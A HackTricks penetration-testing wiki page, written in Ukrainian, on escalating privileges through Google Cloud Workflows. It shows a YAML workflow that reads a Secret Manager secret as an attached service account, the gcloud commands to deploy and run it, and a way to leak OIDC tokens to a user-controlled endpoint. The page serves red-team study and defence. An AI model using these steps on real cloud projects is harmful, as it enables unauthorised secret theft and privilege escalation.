GCP - Workflows Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Workflows

Основна інформація:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Наскільки мені відомо, неможливо отримати shell з доступом до кінцевої точки метаданих, що містить облікові дані SA, прикріплені до Workflow. Однак можливо зловживати дозволами SA, додаючи дії для виконання всередині Workflow.

Можливо знайти документацію конекторів. Наприклад, це сторінка конектора Secretmanager. У бічній панелі можна знайти кілька інших конекторів.

І тут ви можете знайти приклад конектора, який друкує секрет:

yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"

Оновлення з CLI:

bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Якщо ви отримали помилку, наприклад, ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, просто почекайте хвилину і спробуйте знову.

Якщо у вас немає доступу до вебу, ви можете запустити та побачити виконання Workflow за допомогою:

bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

caution

Ви також можете перевірити вихідні дані попередніх виконань, щоб знайти чутливу інформацію

Зверніть увагу, що навіть якщо ви отримаєте помилку, наприклад, PERMISSION_DENIED: Permission 'workflows.operations.get' denied on..., тому що у вас немає цього дозволу, робочий процес був згенерований.

Leak OIDC token (і OAuth?)

Згідно з документацією, можливо використовувати кроки робочого процесу, які надсилають HTTP-запит з токеном OAuth або OIDC. Однак, як і в випадку з Cloud Scheduler, HTTP-запит з токеном Oauth повинен бути до хоста .googleapis.com.

caution

Отже, можливо витікати OIDC токен, вказуючи HTTP-інтерфейс, контрольований користувачем, але для витоку OAuth токена вам потрібен обхід для цього захисту. Однак ви все ще можете взаємодіяти з будь-яким GCP API для виконання дій від імені SA, використовуючи або конектори, або HTTP-запити з токеном OAuth.

Oauth

yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

З цією дозволом замість workflows.workflows.create можливо оновити вже існуючий робочий процес і виконати ті ж атаки.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks